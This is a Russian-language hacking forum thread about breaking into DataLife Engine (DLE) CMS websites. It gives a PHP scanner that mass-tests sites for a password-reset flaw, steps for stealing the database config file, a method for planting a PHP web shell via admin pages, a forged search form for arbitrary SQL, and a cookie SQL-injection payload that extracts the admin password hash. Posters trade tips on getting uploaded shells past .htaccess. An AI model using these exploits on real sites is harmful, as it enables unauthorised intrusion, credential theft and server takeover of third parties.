PHP: <?php if( ! defined( 'DATALIFEENGINE' ) ) { die( "Hacking attempt!" ); } if( $is_logged ) { msgbox( $lang['all_info'], $lang['user_logged'] ); } elseif( intval( $_GET['douser'] ) ) { $douser = intval( $_GET['douser'] ); $lostid = $_GET['lostid']; $row = $db->super_query( "SELECT lostid FROM " . USERPREFIX . "_lostdb WHERE lostname='$douser'" ); if( $row['lostid'] == $lostid ) { $row = $db->super_query( "SELECT name FROM " . USERPREFIX . "_users WHERE user_id='$douser' LIMIT 0,1" ); $username = $row['name']; $salt = "012"; srand( ( double ) microtime() * 1000000 ); for($i = 0; $i < 9; $i ++) { $new_pass .= $salt{rand( 0, 33 )}; } $db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" ); $db->query( "DELETE FROM " . USERPREFIX . "_lostdb WHERE lostname='$douser'" ); msgbox( $lang['lost_gen'], "$lang[lost_npass]<br /><br />$lang[lost_login] <b>$username</b><br />$lang[lost_pass] <b>$new_pass</b><br /><br />$lang[lost_info]" ); } else { $db->query( "DELETE FROM " . USERPREFIX . "_lostdb WHERE lostname='$douser'" ); msgbox( $lang['all_err_1'], $lang['lost_err'] ); } } elseif( isset( $_POST['submit_lost'] ) ) { if( $_POST['sec_code'] != $_SESSION['sec_code_session'] or ! $_SESSION['sec_code_session'] ) { msgbox( $lang['all_err_1'], $lang['reg_err_19'] . "<br /><br /><a href=\"javascript:history.go(-1)\">$lang[all_prev]</a>" ); } else { $_SESSION['sec_code_session'] = false; $lostname = $db->safesql( $_POST['lostname'] ); if( ereg( '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+' . '@' . '[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.' . '[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$', $lostname ) ) $search = "email = '" . $lostname . "'"; else $search = "name = '" . $lostname . "'"; $db->query( "SELECT user_id, email, name FROM " . USERPREFIX . "_users where {$search} LIMIT 0,1" ); if( $db->num_rows() > 0 ) { include_once ENGINE_DIR . '/classes/mail.class.php'; $mail = new dle_mail( $config ); $row = $db->get_row(); $db->free(); $lostmail = $row['email']; $userid = $row['user_id']; $lostname = $row['name']; $row = $db->super_query( "SELECT template FROM " . PREFIX . "_email where name='lost_mail' LIMIT 0,1" ); $row['template'] = stripslashes( $row['template'] ); $salt = "012"; srand( ( double ) microtime() * 1000000 ); for($i = 0; $i < 15; $i ++) { $rand_lost .= $salt{rand( 0, 33 )}; } $lostid = sha1( md5( $lostname . $lostmail ) . time() . $rand_lost ); if ( strlen($lostid) != 40 ) die ("US Secure Hash Algorithm 1 (SHA1) disabled by Hosting"); $lostlink = $config['http_home_url'] . "index.php?do=lostpassword&douser=" . $userid . "&lostid=" . $lostid; $db->query( "DELETE FROM " . USERPREFIX . "_lostdb WHERE lostname='$userid'" ); $db->query( "INSERT INTO " . USERPREFIX . "_lostdb (lostname, lostid) values ('$userid', '$lostid')" ); $row['template'] = str_replace( "{%username%}", $lostname, $row['template'] ); $row['template'] = str_replace( "{%lostlink%}", $lostlink, $row['template'] ); $row['template'] = str_replace( "{%ip%}", $_SERVER['REMOTE_ADDR'], $row['template'] ); $mail->send( $lostmail, $lang['lost_subj'], $row['template'] ); if( $mail->send_error ) msgbox( $lang['all_info'], $mail->smtp_msg ); else msgbox( $lang['lost_ms'], $lang['lost_ms_1'] ); } else { msgbox( $lang['all_err_1'], $lang['lost_err_1'] ); } } } else { $tpl->load_template( 'lostpassword.tpl' ); $tpl->set( '{code}', "<span id=\"dle-captcha\"><img src=\"" . $path['path'] . "engine/modules/antibot.php\" alt=\"{$lang['sec_image']}\" border=\"0\" /><br /><a onclick=\"reload(); return false;\" href=\"#\">{$lang['reload_code']}</a></span>" ); $tpl->copy_template = "<form method=\"post\" name=\"registration\" action=\"?do=lostpassword\">\n" . $tpl->copy_template . " <input name=\"submit_lost\" type=\"hidden\" id=\"submit_lost\" value=\"submit_lost\" /> </form>"; $tpl->copy_template .= <<<HTML <script language="javascript" type="text/javascript"> <!-- function reload () { var rndval = new Date().getTime(); document.getElementById('dle-captcha').innerHTML = '<img src="{$path['path']}engine/modules/antibot.php?rndval=' + rndval + '" border="0" width="120" height="50" alt="" /><br /><a onclick="reload(); return false;" href="#">{$lang['reload_code']}</a>'; }; //--> </script> HTML; $tpl->compile( 'content' ); $tpl->clear(); } ?> Сканер сайтов по данной уязвимости, на данный момент таких осталось ~ 4% Но для своих бекдоров в самый раз. Пример: tomtel.org/index.php?do=lostpassword&douser=1&lostid= PHP: <?php /* piu piu */ set_time_limit(0); $filename = 'spisok.txt'; $url = "/index.php?do=lostpassword&douser=1&lostid="; $str = 'Согласно Вашему запросу для Вас был сгенерирован новый пароль.'; foreach(file($filename) as $site) if(strpos(curlPage(trim($site) . $url) , $str )) echo $site . '<br>'; function curlPage($url) { if( !function_exists('curl_init')) die('culr off'); $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl,CURLOPT_RETURNTRANSFER,true); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true); curl_setopt($curl, CURLOPT_HTTPHEADER, array( 'Accept-Language: ru,en-us;q=0.7,en;q=0.3', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json', 'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404 Firefox/3.7.0 GTB7.0', 'Accept-Encoding: deflate', 'Accept-Charset: UTF-8,*')); curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300); return curl_exec($curl); } ?>
Воруем С DLE сайта пароли от бд Вроде бы еще не было так что извеняюсь если повторюсь! Взлом сайта на DLE версии ниже 9.0, инструкция (Работаем через браузер Opera 10). 1. Заходим на сайт жертвы 2. Регистрируемся и авторизуемся на сайте 3. Переходим по ссылке _http://site.ru/engine/images.php (где site.ru - адрес жертвы) 4. Открываем исходный код открытой нами страницы и после: HTML: <input type="hidden" name="area" value=''> (строка может немного отличаться и повторяться 2 раза, вставляем после 1й) HTML: <input type="hidden" name="serverfile" value='../../engine/data/dbconfig.php'> Нажимаем в браузере, под вкладками Применить изменения 5. После этих действий необходимо проверить работоспособность дырки, для этого на странице http://site.ru/engine/images.php, чей исходный код мы редактировали пунктом выше, нажимаем Загрузить. В списке загруженных файлов должен появиться dbconfig.php, мы можем продолжить... Что бы скачать файл конфига мы должны навести на него указатель мыши и посмотреть ID, затем через Исходный код страницы / Применить изменения мы вставляем в любое место страницы сайта жертвы ссылку вида: < HTML: a href='http://site.ru/engine/download.php?id=ID_файла'>[download]</a> и скачиваем файл dbconfig.php с данными для входа в phpMyAdmin, адрес которой обычно site.ru/phpmyadmin/ или site.ru/myadmin/ Источник
Как залить шелл в DLE <= 8.5 1) Нужна админка 2) Заходим в админку -> Статистические страницы -> Создаем любой новый(например system.html), показываем только админам. Пишем в окошко исходный код любого шелла на php, выбираем HTML без фильтрации. 3) Сохраняем 4) Заходим по адресу: http://target.com/[dlepath]/system.html Видим свой шелл, быстренько заливаем другой шелл, удаляем system.html с админки. Радуемся шеллу)))
баг в поиске позволяет выполнить любой SQL запрос переменная sql_count не определена и если registr_global on ее можно установить также она устанавливаеться в search.php в блоках Code: if( in_array( $titleonly, array (0, 2, 3, 5 ) ) ) if( $titleonly == 1 or $titleonly == 2 ) if( $titleonly == 6 ) чтоб этого не произошло устанавливаем titleonly = 4 Code: <html><body><center> <form action="http://www.dl8.ru/index.php?do=search" method="post"> <input type="hidden" name="do" value="search"> <input type="hidden" name="subaction" value="search"> <input type="hidden" name="x" value="36"> <input type="hidden" name="y" value="11"> <input type="hidden" name="titleonly" value="4"> <input type="hidden" name="story" value="test"> <input name="sql_count"> <input type="submit" value="ok"> </form> </center></body></html>
Не прокатывают или просто phpinfo ты не видишь? Глянь соурс html - там наверняка увидешь свои теги и php код. Лично я попробовал способ Kuteke на 8.2 - нифига код не исполняется, тупо выводится плейн текстом мое <?phpinfo();?> , а в исходниках движка даже намека на исполнение php в страницах нет. Потом специально поставил dle 8.5, попробовал снова - точно так же плейнтекстом <?php phpinfo();?> мне выдается в соурсе. Kuteke , в какой версии DLE ты это пробовал?
Есть ли что-нибудь более-менее серьезное в сборке DLE 8.5 от SoftDLE? (http://www.softdle.com/dle/177-dle-85.html) Нашел только раскрытие путей engine/ajax/pages.php?year[]=&month[]=&user[]=&day[]=
попугай Я пробовал 8.2, 8.5, 8.3! Пахало! Даже в разделе Продажа покупал админки и все ОК! Я кажется знаю ваши ошибки! Вы просто не ставите галку напротив "Нефильтрованный HTML"!
PHP: dle_onl_session=1'+or(1,1)=(select+count(0),concat((select+concat_ws(0x3a,name,password)+from+dle_users+where+user_group=1+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+ Через куки достается хеш админа. Подскажите какой запрос сделать для заливки шелла? Или чего еще интересного можно наскулить) гугл пробовал) те варианты выводят "1064"
ставлю, конечно, делал как ты написал несколькими постами выше. Отпиши мне в личку, скинь соурсы двжиков, на которых это работало, если не затруднит.
Они именно затираются послеки клика по Ява-окну "Редактор HTML"-> "Отправить". Второй клик на открытие редактора, и теги уже затёрты, т.е. парсер при отправке отредактированного текста, их затирает.
ну я визуальный редактор не использовал - в обычном текстовом поле прекрасно <?php не затираются. Попробуй отключить визуальный редактор в настройках.
так ребята, все что связано с покупкой не в этот раздел, здесь только то что найдено вами, ни какой коммерческой деятельности, попрошу не захломлять раздел ....Присутсвует слово куплю, значит вам разделом купля/продажа
насколько мне известно, то пока что - никак. начиная с версии какой то там, где в шаблоне пхп блочится шелл с админки залить нельзя. возможно ошибаюсь конечно, но так было.
Wap-Traff, вроде через config можно залить: http://forum.antichat.ru/showpost.php?p=890150&postcount=26
ну это смотря что понимать под словом "залить". Залить можно и используя FTP протокол, и HTTP; интерфейс добавления новости, и просто самодельную форму с дыркой... Так что, залить можно всегда и везде, важно знать метод.
Ну если человек спрашивает "в админку дле 9.2", то думаю фтп данных у него нет, так и как самодельной формы. А "добавление новости", очень много нюансов. Если не узнать название файла после заливки, думаю пользы он вам мало принесет... А тут свои нюансы. доступ до бд, антивирус, и прочие приколы.
Ситуация в общем такая. Имеется админка DLE версии 6.5. Разрешил загрузку php, в добавлении новости залил шелл, через бд посмотрел имя своего файла на серве. Перехожу по ссылке, по которой должен быть шелл - 403. htaccess мешается. Редактирование шаблонов запрещено, поэтому инклуд отменяется. "вставляем в новость слово типа [attachment.....] берём его в теги Нажимаем кнопку "Предварительный просмотр" и видим адресс шелла." С ранее приатаченой картинкой прокатывает, а с шелом нет (ни адреса шела (хотя его и из бд знаю) ни выполненного кода). Заливка своего .htaccess не катит так же, загруженный файл такое имя имеет 1318013145_.htaccess Есть идеи?
droptheacid Идея есть всегда, например убить хтакцесс. В этой ветке 100% обсуждалось. Ну или, если хватит знаний вот тебе код: Code: if( $action == "doimagedelete" ) { дальше думай сам